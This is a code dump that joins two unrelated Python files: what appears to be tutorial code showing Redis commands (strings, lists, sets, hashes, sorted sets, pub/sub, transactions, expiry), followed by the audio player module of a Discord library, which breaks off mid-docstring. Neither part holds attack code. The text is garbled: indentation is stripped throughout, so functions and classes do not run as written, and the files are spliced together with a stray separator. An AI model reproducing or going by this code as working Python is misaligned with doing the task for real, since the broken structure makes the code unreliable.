ARTICLES_PER_PAGE = 25
'''
# <start id="string-calls-1"/>
>>> conn = redis.Redis()
>>> conn.get('key') #A
>>> conn.incr('key') #B
1 #B
>>> conn.incr('key', 15) #B
16 #B
>>> conn.decr('key', 5) #C
11 #C
>>> conn.get('key') #D
'11' #D
>>> conn.set('key', '13') #E
True #E
>>> conn.incr('key') #E
14 #E
# <end id="string-calls-1"/>
#A When we fetch a key that does not exist, we get the None value, which is not displayed in the interactive console
#B We can increment keys that don't exist, and we can pass an optional value to increment by more than 1
#C Like incrementing, decrementing takes an optional argument for the amount to decrement by
#D When we fetch the key it acts like a string
#E And when we set the key, we can set it as a string, but still manipulate it like an integer
#END
'''
'''
# <start id="string-calls-2"/>
>>> conn.append('new-string-key', 'hello ') #A
6L #B
>>> conn.append('new-string-key', 'world!')
12L #B
>>> conn.substr('new-string-key', 3, 7) #C
'lo wo' #D
>>> conn.setrange('new-string-key', 0, 'H') #E
12 #F
>>> conn.setrange('new-string-key', 6, 'W')
12
>>> conn.get('new-string-key') #G
'Hello World!' #H
>>> conn.setrange('new-string-key', 11, ', how are you?') #I
25
>>> conn.get('new-string-key')
'Hello World, how are you?' #J
>>> conn.setbit('another-key', 2, 1) #K
0 #L
>>> conn.setbit('another-key', 7, 1) #M
0 #M
>>> conn.get('another-key') #M
'!' #N
# <end id="string-calls-2"/>
#A Let's append the string 'hello ' to the previously non-existent key 'new-string-key'
#B When appending a value, Redis returns the length of the string so far
#C Redis uses 0-indexing, and when accessing ranges, is inclusive of the endpoints by default
#D The string 'lo wo' is from the middle of 'hello world!'
#E Let's set a couple string ranges
#F When setting a range inside a string, Redis also returns the total length of the string
#G Let's see what we have now!
#H Yep, we capitalized our 'H' and 'W'
#I With setrange we can replace anywhere inside the string, and we can make the string longer
#J We replaced the exclamation point and added more to the end of the string
#K If you write to a bit beyond the size of the string, it is filled with nulls
#L Setting bits also returns the value of the bit before it was set
#M If you are going to try to interpret the bits stored in Redis, remember that offsets into bits are from the highest-order to the lowest-order
#N We set bits 2 and 7 to 1, which gave us '!', or character 33
#END
'''
'''
# <start id="list-calls-1"/>
>>> conn.rpush('list-key', 'last') #A
1L #A
>>> conn.lpush('list-key', 'first') #B
2L
>>> conn.rpush('list-key', 'new last')
3L
>>> conn.lrange('list-key', 0, -1) #C
['first', 'last', 'new last'] #C
>>> conn.lpop('list-key') #D
'first' #D
>>> conn.lpop('list-key') #D
'last' #D
>>> conn.lrange('list-key', 0, -1)
['new last']
>>> conn.rpush('list-key', 'a', 'b', 'c') #E
4L
>>> conn.lrange('list-key', 0, -1)
['new last', 'a', 'b', 'c']
>>> conn.ltrim('list-key', 2, -1) #F
True #F
>>> conn.lrange('list-key', 0, -1) #F
['b', 'c'] #F
# <end id="list-calls-1"/>
#A When we push items onto the list, it returns the length of the list after the push has completed
#B We can easily push on both ends of the list
#C Semantically, the left end of the list is the beginning, and the right end of the list is the end
#D Popping off the left items repeatedly will return items from left to right
#E We can push multiple items at the same time
#F We can trim any number of items from the start, end, or both
#END
'''
'''
# <start id="list-calls-2"/>
>>> conn.rpush('list', 'item1') #A
1 #A
>>> conn.rpush('list', 'item2') #A
2 #A
>>> conn.rpush('list2', 'item3') #A
1 #A
>>> conn.brpoplpush('list2', 'list', 1) #B
'item3' #B
>>> conn.brpoplpush('list2', 'list', 1) #C
>>> conn.lrange('list', 0, -1) #D
['item3', 'item1', 'item2'] #D
>>> conn.brpoplpush('list', 'list2', 1)
'item2'
>>> conn.blpop(['list', 'list2'], 1) #E
('list', 'item3') #E
>>> conn.blpop(['list', 'list2'], 1) #E
('list', 'item1') #E
>>> conn.blpop(['list', 'list2'], 1) #E
('list2', 'item2') #E
>>> conn.blpop(['list', 'list2'], 1) #E
>>>
# <end id="list-calls-2"/>
#A Let's add some items to a couple lists to start
#B Let's move an item from one list to the other, leaving it
#C When a list is empty, the blocking pop will stall for the timeout, and return None (which is not displayed in the interactive console)
#D We popped the rightmost item from 'list2' and pushed it to the left of 'list'
#E Blocking left-popping items from these will check lists for items in the order that they are passed, until they are empty
#END
'''
# <start id="exercise-update-token"/>
def update_token(conn, token, user, item=None):
timestamp = time.time()
conn.hset('login:', token, user)
conn.zadd('recent:', token, timestamp)
if item:
key = 'viewed:' + token
conn.lrem(key, item) #A
conn.rpush(key, item) #B
conn.ltrim(key, -25, -1) #C
conn.zincrby('viewed:', item, -1)
# <end id="exercise-update-token"/>
#A Remove the item from the list if it was there
#B Push the item to the right side of the LIST so that ZRANGE and LRANGE have the same result
#C Trim the LIST to only include the most recent 25 items
#END
'''
# <start id="set-calls-1"/>
>>> conn.sadd('set-key', 'a', 'b', 'c') #A
3 #A
>>> conn.srem('set-key', 'c', 'd') #B
True #B
>>> conn.srem('set-key', 'c', 'd') #B
False #B
>>> conn.scard('set-key') #C
2 #C
>>> conn.smembers('set-key') #D
set(['a', 'b']) #D
>>> conn.smove('set-key', 'set-key2', 'a') #E
True #E
>>> conn.smove('set-key', 'set-key2', 'c') #F
False #F
>>> conn.smembers('set-key2') #F
set(['a']) #F
# <end id="set-calls-1"/>
#A Adding items to the SET returns the number of items that weren't already in the SET
#B Removing items from the SET returns whether an item was removed - note that the client is buggy in that respect, as Redis itself returns the total number of items removed
#C We can get the number of items in the SET
#D We can also fetch the whole SET
#E We can easily move items from one SET to another SET
#F When an item doesn't exist in the first set during a SMOVE, it isn't added to the destination SET
#END
'''
'''
# <start id="set-calls-2"/>
>>> conn.sadd('skey1', 'a', 'b', 'c', 'd') #A
4 #A
>>> conn.sadd('skey2', 'c', 'd', 'e', 'f') #A
4 #A
>>> conn.sdiff('skey1', 'skey2') #B
set(['a', 'b']) #B
>>> conn.sinter('skey1', 'skey2') #C
set(['c', 'd']) #C
>>> conn.sunion('skey1', 'skey2') #D
set(['a', 'c', 'b', 'e', 'd', 'f']) #D
# <end id="set-calls-2"/>
#A First we'll add a few items to a couple SETs
#B We can calculate the result of removing all of the items in the second set from the first SET
#C We can also find out which items exist in both SETs
#D And we can find out all of the items that are in either of the SETs
#END
'''
'''
# <start id="hash-calls-1"/>
>>> conn.hmset('hash-key', {'k1':'v1', 'k2':'v2', 'k3':'v3'}) #A
True #A
>>> conn.hmget('hash-key', ['k2', 'k3']) #B
['v2', 'v3'] #B
>>> conn.hlen('hash-key') #C
3 #C
>>> conn.hdel('hash-key', 'k1', 'k3') #D
True #D
# <end id="hash-calls-1"/>
#A We can add multiple items to the hash in one call
#B We can fetch a subset of the values in a single call
#C The HLEN command is typically used for debugging very large HASHes
#D The HDEL command handles multiple arguments without needing an HMDEL counterpart and returns True if any fields were removed
#END
'''
'''
# <start id="hash-calls-2"/>
>>> conn.hmset('hash-key2', {'short':'hello', 'long':1000*'1'}) #A
True #A
>>> conn.hkeys('hash-key2') #A
['long', 'short'] #A
>>> conn.hexists('hash-key2', 'num') #B
False #B
>>> conn.hincrby('hash-key2', 'num') #C
1L #C
>>> conn.hexists('hash-key2', 'num') #C
True #C
# <end id="hash-calls-2"/>
#A Fetching keys can be useful to keep from needing to transfer large values when you are looking into HASHes
#B We can also check the existence of specific keys
#C Incrementing a previously non-existent key in a hash behaves just like on strings, Redis operates as though the value had been 0
#END
'''
'''
# <start id="zset-calls-1"/>
>>> conn.zadd('zset-key', 'a', 3, 'b', 2, 'c', 1) #A
3 #A
>>> conn.zcard('zset-key') #B
3 #B
>>> conn.zincrby('zset-key', 'c', 3) #C
4.0 #C
>>> conn.zscore('zset-key', 'b') #D
2.0 #D
>>> conn.zrank('zset-key', 'c') #E
2 #E
>>> conn.zcount('zset-key', 0, 3) #F
2L #F
>>> conn.zrem('zset-key', 'b') #G
True #G
>>> conn.zrange('zset-key', 0, -1, withscores=True) #H
[('a', 3.0), ('c', 4.0)] #H
# <end id="zset-calls-1"/>
#A Adding members to ZSETs in Python has the arguments reversed compared to standard Redis, so as to not confuse users compared to HASHes
#B Knowing how large a ZSET is can tell you in some cases if it is necessary to trim your ZSET
#C We can also increment members like we can with STRING and HASH values
#D Fetching scores of individual members can be useful if you have been keeping counters or toplists
#E By fetching the 0-indexed position of a member, we can then later use ZRANGE to fetch a range of the values easily
#F Counting the number of items with a given range of scores can be quite useful for some tasks
#G Removing members is as easy as adding them
#H For debugging, we usually fetch the entire ZSET with this ZRANGE call, but real use-cases will usually fetch items a relatively small group at a time
#END
'''
'''
# <start id="zset-calls-2"/>
>>> conn.zadd('zset-1', 'a', 1, 'b', 2, 'c', 3) #A
3 #A
>>> conn.zadd('zset-2', 'b', 4, 'c', 1, 'd', 0) #A
3 #A
>>> conn.zinterstore('zset-i', ['zset-1', 'zset-2']) #B
2L #B
>>> conn.zrange('zset-i', 0, -1, withscores=True) #B
[('c', 4.0), ('b', 6.0)] #B
>>> conn.zunionstore('zset-u', ['zset-1', 'zset-2'], aggregate='min') #C
4L #C
>>> conn.zrange('zset-u', 0, -1, withscores=True) #C
[('d', 0.0), ('a', 1.0), ('c', 1.0), ('b', 2.0)] #C
>>> conn.sadd('set-1', 'a', 'd') #D
2 #D
>>> conn.zunionstore('zset-u2', ['zset-1', 'zset-2', 'set-1']) #D
4L #D
>>> conn.zrange('zset-u2', 0, -1, withscores=True) #D
[('d', 1.0), ('a', 2.0), ('c', 4.0), ('b', 6.0)] #D
# <end id="zset-calls-2"/>
#A We'll start out by creating a couple ZSETs
#B When performing ZINTERSTORE or ZUNIONSTORE, our default aggregate is sum, so scores of items that are in multiple ZSETs are added
#C It is easy to provide different aggregates, though we are limited to sum, min, and max
#D You can also pass SETs as inputs to ZINTERSTORE and ZUNIONSTORE, they behave as though they were ZSETs with all scores equal to 1
#END
'''
def publisher(n):
time.sleep(1)
for i in xrange(n):
conn.publish('channel', i)
time.sleep(1)
def run_pubsub():
threading.Thread(target=publisher, args=(3,)).start()
pubsub = conn.pubsub()
pubsub.subscribe(['channel'])
count = 0
for item in pubsub.listen():
print item
count += 1
if count == 4:
pubsub.unsubscribe()
if count == 5:
break
'''
# <start id="pubsub-calls-1"/>
>>> def publisher(n):
... time.sleep(1) #A
... for i in xrange(n):
... conn.publish('channel', i) #B
... time.sleep(1) #B
...
>>> def run_pubsub():
... threading.Thread(target=publisher, args=(3,)).start()
... pubsub = conn.pubsub()
... pubsub.subscribe(['channel'])
... count = 0
... for item in pubsub.listen():
... print item
... count += 1
... if count == 4:
... pubsub.unsubscribe()
... if count == 5:
... break
...
>>> def run_pubsub():
... threading.Thread(target=publisher, args=(3,)).start() #D
... pubsub = conn.pubsub() #E
... pubsub.subscribe(['channel']) #E
... count = 0
... for item in pubsub.listen(): #F
... print item #G
... count += 1 #H
... if count == 4: #H
... pubsub.unsubscribe() #H
... if count == 5: #L
... break #L
...
>>> run_pubsub() #C
{'pattern': None, 'type': 'subscribe', 'channel': 'channel', 'data': 1L}#I
{'pattern': None, 'type': 'message', 'channel': 'channel', 'data': '0'} #J
{'pattern': None, 'type': 'message', 'channel': 'channel', 'data': '1'} #J
{'pattern': None, 'type': 'message', 'channel': 'channel', 'data': '2'} #J
{'pattern': None, 'type': 'unsubscribe', 'channel': 'channel', 'data': #K
0L} #K
# <end id="pubsub-calls-1"/>
#A We sleep initially in the function to let the SUBSCRIBEr connect and start listening for messages
#B After publishing, we will pause for a moment so that we can see this happen over time
#D Let's start the publisher thread to send 3 messages
#E We'll set up the pubsub object and subscribe to a channel
#F We can listen to subscription messages by iterating over the result of pubsub.listen()
#G We'll print every message that we receive
#H We will stop listening for new messages after the subscribe message and 3 real messages by unsubscribing
#L When we receive the unsubscribe message, we need to stop receiving messages
#C Actually run the functions to see them work
#I When subscribing, we receive a message on the listen channel
#J These are the structures that are produced as items when we iterate over pubsub.listen()
#K When we unsubscribe, we receive a message telling us which channels we have unsubscribed from and the number of channels we are still subscribed to
#END
'''
'''
# <start id="sort-calls"/>
>>> conn.rpush('sort-input', 23, 15, 110, 7) #A
4 #A
>>> conn.sort('sort-input') #B
['7', '15', '23', '110'] #B
>>> conn.sort('sort-input', alpha=True) #C
['110', '15', '23', '7'] #C
>>> conn.hset('d-7', 'field', 5) #D
1L #D
>>> conn.hset('d-15', 'field', 1) #D
1L #D
>>> conn.hset('d-23', 'field', 9) #D
1L #D
>>> conn.hset('d-110', 'field', 3) #D
1L #D
>>> conn.sort('sort-input', by='d-*->field') #E
['15', '110', '7', '23'] #E
>>> conn.sort('sort-input', by='d-*->field', get='d-*->field') #F
['1', '3', '5', '9'] #F
# <end id="sort-calls"/>
#A Start by adding some items to a LIST
#B We can sort the items numerically
#C And we can sort the items alphabetically
#D We are just adding some additional data for SORTing and fetching
#E We can sort our data by fields of HASHes
#F And we can even fetch that data and return it instead of or in addition to our input data
#END
'''
'''
# <start id="simple-pipeline-notrans"/>
>>> def notrans():
... print conn.incr('notrans:') #A
... time.sleep(.1) #B
... conn.incr('notrans:', -1) #C
...
>>> if 1:
... for i in xrange(3): #D
... threading.Thread(target=notrans).start() #D
... time.sleep(.5) #E
...
1 #F
2 #F
3 #F
# <end id="simple-pipeline-notrans"/>
#A Increment the 'notrans:' counter and print the result
#B Wait for 100 milliseconds
#C Decrement the 'notrans:' counter
#D Start three threads to execute the non-transactional increment/sleep/decrement
#E Wait half a second for everything to be done
#F Because there is no transaction, each of the threaded commands can interleave freely, causing the counter to steadily grow in this case
#END
'''
'''
# <start id="simple-pipeline-trans"/>
>>> def trans():
... pipeline = conn.pipeline() #A
... pipeline.incr('trans:') #B
... time.sleep(.1) #C
... pipeline.incr('trans:', -1) #D
... print pipeline.execute()[0] #E
...
>>> if 1:
... for i in xrange(3): #F
... threading.Thread(target=trans).start() #F
... time.sleep(.5) #G
...
1 #H
1 #H
1 #H
# <end id="simple-pipeline-trans"/>
#A Create a transactional pipeline
#B Queue up the 'trans:' counter increment
#C Wait for 100 milliseconds
#D Queue up the 'trans:' counter decrement
#E Execute both commands and print the result of the increment operation
#F Start three of the transactional increment/sleep/decrement calls
#G Wait half a second for everything to be done
#H Because each increment/sleep/decrement pair is executed inside a transaction, no other commands can be interleaved, which gets us a result of 1 for all of our results
#END
'''
# <start id="exercise-fix-article-vote"/>
def article_vote(conn, user, article):
cutoff = time.time() - ONE_WEEK_IN_SECONDS
posted = conn.zscore('time:', article) #A
if posted < cutoff:
return
article_id = article.partition(':')[-1]
pipeline = conn.pipeline()
pipeline.sadd('voted:' + article_id, user)
pipeline.expire('voted:' + article_id, int(posted-cutoff)) #B
if pipeline.execute()[0]:
pipeline.zincrby('score:', article, VOTE_SCORE) #C
pipeline.hincrby(article, 'votes', 1) #C
pipeline.execute() #C
# <end id="exercise-fix-article-vote"/>
#A If the article should expire bewteen our ZSCORE and our SADD, we need to use the posted time to properly expire it
#B Set the expiration time if we shouldn't have actually added the vote to the SET
#C We could lose our connection between the SADD/EXPIRE and ZINCRBY/HINCRBY, so the vote may not count, but that is better than it partially counting by failing between the ZINCRBY/HINCRBY calls
#END
# Technically, the above article_vote() version still has some issues, which
# are addressed in the following, which uses features/functionality not
# introduced until chapter 4.
def article_vote(conn, user, article):
cutoff = time.time() - ONE_WEEK_IN_SECONDS
posted = conn.zscore('time:', article)
article_id = article.partition(':')[-1]
voted = 'voted:' + article_id
pipeline = conn.pipeline()
while posted > cutoff:
try:
pipeline.watch(voted)
if not pipeline.sismember(voted, user):
pipeline.multi()
pipeline.sadd(voted, user)
pipeline.expire(voted, int(posted-cutoff))
pipeline.zincrby('score:', article, VOTE_SCORE)
pipeline.hincrby(article, 'votes', 1)
pipeline.execute()
else:
pipeline.unwatch()
return
except redis.exceptions.WatchError:
cutoff = time.time() - ONE_WEEK_IN_SECONDS
# <start id="exercise-fix-get_articles"/>
def get_articles(conn, page, order='score:'):
start = max(page-1, 0) * ARTICLES_PER_PAGE
end = start + ARTICLES_PER_PAGE - 1
ids = conn.zrevrangebyscore(order, start, end)
pipeline = conn.pipeline()
map(pipeline.hgetall, ids) #A
articles = []
for id, article_data in zip(ids, pipeline.execute()): #B
article_data['id'] = id
articles.append(article_data)
return articles
# <end id="exercise-fix-get_articles"/>
#A Prepare the HGETALL calls on the pipeline
#B Execute the pipeline and add ids to the article
#END
'''
# <start id="other-calls-1"/>
>>> conn.set('key', 'value') #A
True #A
>>> conn.get('key') #A
'value' #A
>>> conn.expire('key', 2) #B
True #B
>>> time.sleep(2) #B
>>> conn.get('key') #B
>>> conn.set('key', 'value2')
True
>>> conn.expire('key', 100); conn.ttl('key') #C
True #C
100 #C
# <end id="other-calls-1"/>
#A We are starting with a very simple STRING value
#B If we set a key to expire in the future, and we wait long enough for the key to expire, when we try to fetch the key, it has already been deleted
#C We can also easily find out how long it will be before a key will expire
#END
'''
# <start id="exercise-no-recent-zset"/>
THIRTY_DAYS = 30*86400
def check_token(conn, token):
return conn.get('login:' + token) #A
def update_token(conn, token, user, item=None):
conn.setex('login:' + token, user, THIRTY_DAYS) #B
key = 'viewed:' + token
if item:
conn.lrem(key, item)
conn.rpush(key, item)
conn.ltrim(key, -25, -1)
conn.zincrby('viewed:', item, -1)
conn.expire(key, THIRTY_DAYS) #C
def add_to_cart(conn, session, item, count):
key = 'cart:' + session
if count <= 0:
conn.hrem(key, item)
else:
conn.hset(key, item, count)
conn.expire(key, THIRTY_DAYS) #D
# <end id="exercise-no-recent-zset"/>
#A We are going to store the login token as a string value so we can EXPIRE it
#B Set the value of the the login token and the token's expiration time with one call
#C We can't manipulate LISTs and set their expiration at the same time, so we must do it later
#D We also can't manipulate HASHes and set their expiration times, so we again do it later
#END
|
player.py | """
MIT License
Copyright (c) 2021-present DTS
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
from __future__ import annotations
import threading
import traceback
import subprocess
import audioop
import asyncio
import logging
import shlex
import time
import json
import sys
import re
import io
from typing import Any, Callable, Generic, IO, Optional, TYPE_CHECKING, Tuple, Type, TypeVar, Union
from .errors import ClientException
from .opus import Encoder as OpusEncoder
from .oggparse import OggStream
from .utils import MISSING
if TYPE_CHECKING:
from .voice_client import VoiceClient
AT = TypeVar('AT', bound='AudioSource')
FT = TypeVar('FT', bound='FFmpegOpusAudio')
_log = logging.getLogger(__name__)
__all__ = (
'AudioSource',
'PCMAudio',
'FFmpegAudio',
'FFmpegPCMAudio',
'FFmpegOpusAudio',
'PCMVolumeTransformer',
)
CREATE_NO_WINDOW: int
if sys.platform != 'win32':
CREATE_NO_WINDOW = 0
else:
CREATE_NO_WINDOW = 0x08000000
class AudioSource:
"""Represents an audio stream.
The audio stream can be Opus encoded or not, however if the audio stream
is not Opus encoded then the audio format must be 16-bit 48KHz stereo PCM.
.. warning::
The audio source reads are done in a separate thread.
"""
def read(self) -> bytes:
"""Reads 20ms worth of audio.
Subclasses must implement this.
If the audio is complete, then returning an empty
:term:`py:bytes-like object` to signal this is the way to do so.
If :meth:`~AudioSource.is_opus` method returns ``True``, then it must return
20ms worth of Opus encoded audio. Otherwise, it must be 20ms
worth of 16-bit 48KHz stereo PCM, which is about 3,840 bytes
per frame (20ms worth of audio).
Returns
--------
:class:`bytes`
A bytes like object that represents the PCM or Opus data.
"""
raise NotImplementedError
def is_opus(self) -> bool:
"""Checks if the audio source is already encoded in Opus."""
return False
def cleanup(self) -> None:
"""Called when clean-up is needed to be done.
Useful for clearing buffer data or processes after
it is done playing audio.
"""
pass
def __del__(self) -> None:
self.cleanup()
class PCMAudio(AudioSource):
"""Represents raw 16-bit 48KHz stereo PCM audio source.
Attributes
-----------
stream: :term:`py:file object`
A file-like object that reads byte data representing raw PCM.
"""
def __init__(self, stream: io.BufferedIOBase) -> None:
self.stream: io.BufferedIOBase = stream
def read(self) -> bytes:
ret = self.stream.read(OpusEncoder.FRAME_SIZE)
if len(ret) != OpusEncoder.FRAME_SIZE:
return b''
return ret
class FFmpegAudio(AudioSource):
"""Represents an FFmpeg (or AVConv) based AudioSource.
User created AudioSources using FFmpeg differently from how :class:`FFmpegPCMAudio` and
:class:`FFmpegOpusAudio` work should subclass this.
.. versionadded:: 1.3
"""
def __init__(self, source: Union[str, io.BufferedIOBase], *, executable: str = 'ffmpeg', args: Any, **subprocess_kwargs: Any):
piping = subprocess_kwargs.get('stdin') == subprocess.PIPE
if piping and isinstance(source, str):
raise TypeError("parameter conflict: 'source' parameter cannot be a string when piping to stdin")
args = [executable, *args]
kwargs = {'stdout': subprocess.PIPE}
kwargs.update(subprocess_kwargs)
self._process: subprocess.Popen = self._spawn_process(args, **kwargs)
self._stdout: IO[bytes] = self._process.stdout # type: ignore
self._stdin: Optional[IO[Bytes]] = None
self._pipe_thread: Optional[threading.Thread] = None
if piping:
n = f'popen-stdin-writer:{id(self):#x}'
self._stdin = self._process.stdin
self._pipe_thread = threading.Thread(target=self._pipe_writer, args=(source,), daemon=True, name=n)
self._pipe_thread.start()
def _spawn_process(self, args: Any, **subprocess_kwargs: Any) -> subprocess.Popen:
process = None
try:
process = subprocess.Popen(args, creationflags=CREATE_NO_WINDOW, **subprocess_kwargs)
except FileNotFoundError:
executable = args.partition(' ')[0] if isinstance(args, str) else args[0]
raise ClientException(executable + ' was not found.') from None
except subprocess.SubprocessError as exc:
raise ClientException(f'Popen failed: {exc.__class__.__name__}: {exc}') from exc
else:
return process
def _kill_process(self) -> None:
proc = self._process
if proc is MISSING:
return
_log.info('Preparing to terminate ffmpeg process %s.', proc.pid)
try:
proc.kill()
except Exception:
_log.exception('Ignoring error attempting to kill ffmpeg process %s', proc.pid)
if proc.poll() is None:
_log.info('ffmpeg process %s has not terminated. Waiting to terminate...', proc.pid)
proc.communicate()
_log.info('ffmpeg process %s should have terminated with a return code of %s.', proc.pid, proc.returncode)
else:
_log.info('ffmpeg process %s successfully terminated with return code of %s.', proc.pid, proc.returncode)
def _pipe_writer(self, source: io.BufferedIOBase) -> None:
while self._process:
# arbitrarily large read size
data = source.read(8192)
if not data:
self._process.terminate()
return
try:
self._stdin.write(data)
except Exception:
_log.debug('Write error for %s, this is probably not a problem', self, exc_info=True)
# at this point the source data is either exhausted or the process is fubar
self._process.terminate()
return
def cleanup(self) -> None:
self._kill_process()
self._process = self._stdout = self._stdin = MISSING
class FFmpegPCMAudio(FFmpegAudio):
"""An audio source from FFmpeg (or AVConv).
This launches a sub-process to a specific input file given.
.. warning::
You must have the ffmpeg or avconv executable in your path environment
variable in order for this to work.
Parameters
------------
source: Union[:class:`str`, :class:`io.BufferedIOBase`]
The input that ffmpeg will take and convert to PCM bytes.
If ``pipe`` is ``True`` then this is a file-like object that is
passed to the stdin of ffmpeg.
executable: :class:`str`
The executable name (and path) to use. Defaults to ``ffmpeg``.
pipe: :class:`bool`
If ``True``, denotes that ``source`` parameter will be passed
to the stdin of ffmpeg. Defaults to ``False``.
stderr: Optional[:term:`py:file object`]
A file-like object to pass to the Popen constructor.
Could also be an instance of ``subprocess.PIPE``.
before_options: Optional[:class:`str`]
Extra command line arguments to pass to ffmpeg before the ``-i`` flag.
options: Optional[:class:`str`]
Extra command line arguments to pass to ffmpeg after the ``-i`` flag.
Raises
--------
ClientException
The subprocess failed to be created.
"""
def __init__(
self,
source: Union[str, io.BufferedIOBase],
*,
executable: str = 'ffmpeg',
pipe: bool = False,
stderr: Optional[IO[str]] = None,
before_options: Optional[str] = None,
options: Optional[str] = None
) -> None:
args = []
subprocess_kwargs = {'stdin': subprocess.PIPE if pipe else subprocess.DEVNULL, 'stderr': stderr}
if isinstance(before_options, str):
args.extend(shlex.split(before_options))
args.append('-i')
args.append('-' if pipe else source)
args.extend(('-f', 's16le', '-ar', '48000', '-ac', '2', '-loglevel', 'warning'))
if isinstance(options, str):
args.extend(shlex.split(options))
args.append('pipe:1')
super().__init__(source, executable=executable, args=args, **subprocess_kwargs)
def read(self) -> bytes:
ret = self._stdout.read(OpusEncoder.FRAME_SIZE)
if len(ret) != OpusEncoder.FRAME_SIZE:
return b''
return ret
def is_opus(self) -> bool:
return False
class FFmpegOpusAudio(FFmpegAudio):
"""An audio source from FFmpeg (or AVConv).
This launches a sub-process to a specific input file given. However, rather than
producing PCM packets like :class:`FFmpegPCMAudio` does that need to be encoded to
Opus, this class produces Opus packets, skipping the encoding step done by the library.
Alternatively, instead of instantiating this class directly, you can use
:meth:`FFmpegOpusAudio.from_probe` to probe for bitrate and codec information. This
can be used to opportunistically skip pointless re-encoding of existing Opus audio data
for a boost in performance at the cost of a short initial delay to gather the information.
The same can be achieved by passing ``copy`` to the ``codec`` parameter, but only if you
know that the input source is Opus encoded beforehand.
.. versionadded:: 1.3
.. warning::
You must have the ffmpeg or avconv executable in your path environment
variable in order for this to work.
Parameters
------------
source: Union[:class:`str`, :class:`io.BufferedIOBase`]
The input that ffmpeg will take and convert to Opus bytes.
If ``pipe`` is ``True`` then this is a file-like object that is
passed to the stdin of ffmpeg.
bitrate: :class:`int`
The bitrate in kbps to encode the output to. Defaults to ``128``.
codec: Optional[:class:`str`]
The codec to use to encode the audio data. Normally this would be
just ``libopus``, but is used by :meth:`FFmpegOpusAudio.from_probe` to
opportunistically skip pointlessly re-encoding Opus audio data by passing
``copy`` as the codec value. Any values other than ``copy``, ``opus``, or
``libopus`` will be considered ``libopus``. Defaults to ``libopus``.
.. warning::
Do not provide this parameter unless you are certain that the audio input is
already Opus encoded. For typical use :meth:`FFmpegOpusAudio.from_probe`
should be used to determine the proper value for this parameter.
executable: :class:`str`
The executable name (and path) to use. Defaults to ``ffmpeg``.
pipe: :class:`bool`
If ``True``, denotes that ``source`` parameter will be passed
to the stdin of ffmpeg. Defaults to ``False``.
stderr: Optional[:term:`py:file object`]
A file-like object to pass to the Popen constructor.
Could also be an instance of ``subprocess.PIPE``.
before_options: Optional[:class:`str`]
Extra command line arguments to pass to ffmpeg before the ``-i`` flag.
options: Optional[:class:`str`]
Extra command line arguments to pass to ffmpeg after the ``-i`` flag.
Raises
--------
ClientException
The subprocess failed to be created.
"""
def __init__(
self,
source: Union[str, io.BufferedIOBase],
*,
bitrate: int = 128,
codec: Optional[str] = None,
executable: str = 'ffmpeg',
pipe=False,
stderr=None,
before_options=None,
options=None,
) -> None:
args = []
subprocess_kwargs = {'stdin': subprocess.PIPE if pipe else subprocess.DEVNULL, 'stderr': stderr}
if isinstance(before_options, str):
args.extend(shlex.split(before_options))
args.append('-i')
args.append('-' if pipe else source)
codec = 'copy' if codec in ('opus', 'libopus') else 'libopus'
args.extend(('-map_metadata', '-1',
'-f', 'opus',
'-c:a', codec,
'-ar', '48000',
'-ac', '2',
'-b:a', f'{bitrate}k',
'-loglevel', 'warning'))
if isinstance(options, str):
args.extend(shlex.split(options))
args.append('pipe:1')
super().__init__(source, executable=executable, args=args, **subprocess_kwargs)
self._packet_iter = OggStream(self._stdout).iter_packets()
@classmethod
async def from_probe(
cls: Type[FT],
source: str,
*,
method: Optional[Union[str, Callable[[str, str], Tuple[Optional[str], Optional[int]]]]] = None,
**kwargs: Any,
) -> FT:
"""|coro|
A factory method that creates a :class:`FFmpegOpusAudio` after probing
the input source for audio codec and bitrate information.
Examples
----------
Use this function to create an :class:`FFmpegOpusAudio` instance instead of the constructor: ::
source = await discord.FFmpegOpusAudio.from_probe("song.webm")
voice_client.play(source)
If you are on Windows and don't have ffprobe installed, use the ``fallback`` method
to probe using ffmpeg instead: ::
source = await discord.FFmpegOpusAudio.from_probe("song.webm", method='fallback')
voice_client.play(source)
Using a custom method of determining codec and bitrate: ::
def custom_probe(source, executable):
# some analysis code here
return codec, bitrate
source = await discord.FFmpegOpusAudio.from_probe("song.webm", method=custom_probe)
voice_client.play(source)
Parameters
------------
source
Identical to the ``source`` parameter for the constructor.
method: Optional[Union[:class:`str`, Callable[:class:`str`, :class:`str`]]]
The probing method used to determine bitrate and codec information. As a string, valid
values are ``native`` to use ffprobe (or avprobe) and ``fallback`` to use ffmpeg
(or avconv). As a callable, it must take two string arguments, ``source`` and
``executable``. Both parameters are the same values passed to this factory function.
``executable`` will default to ``ffmpeg`` if not provided as a keyword argument.
kwargs
The remaining parameters to be passed to the :class:`FFmpegOpusAudio` constructor,
excluding ``bitrate`` and ``codec``.
Raises
--------
AttributeError
Invalid probe method, must be ``'native'`` or ``'fallback'``.
TypeError
Invalid value for ``probe`` parameter, must be :class:`str` or a callable.
Returns
--------
:class:`FFmpegOpusAudio`
An instance of this class.
"""
executable = kwargs.get('executable')
codec, bitrate = await cls.probe(source, method=method, executable=executable)
return cls(source, bitrate=bitrate, codec=codec, **kwargs) # type: ignore
@classmethod
async def probe(
cls,
source: str,
*,
method: Optional[Union[str, Callable[[str, str], Tuple[Optional[str], Optional[int]]]]] = None,
executable: Optional[str] = None,
) -> Tuple[Optional[str], Optional[int]]:
"""|coro|
Probes the input source for bitrate and codec information.
Parameters
------------
source
Identical to the ``source`` parameter for :class:`FFmpegOpusAudio`.
method
Identical to the ``method`` parameter for :meth:`FFmpegOpusAudio.from_probe`.
executable: :class:`str`
Identical to the ``executable`` parameter for :class:`FFmpegOpusAudio`.
Raises
--------
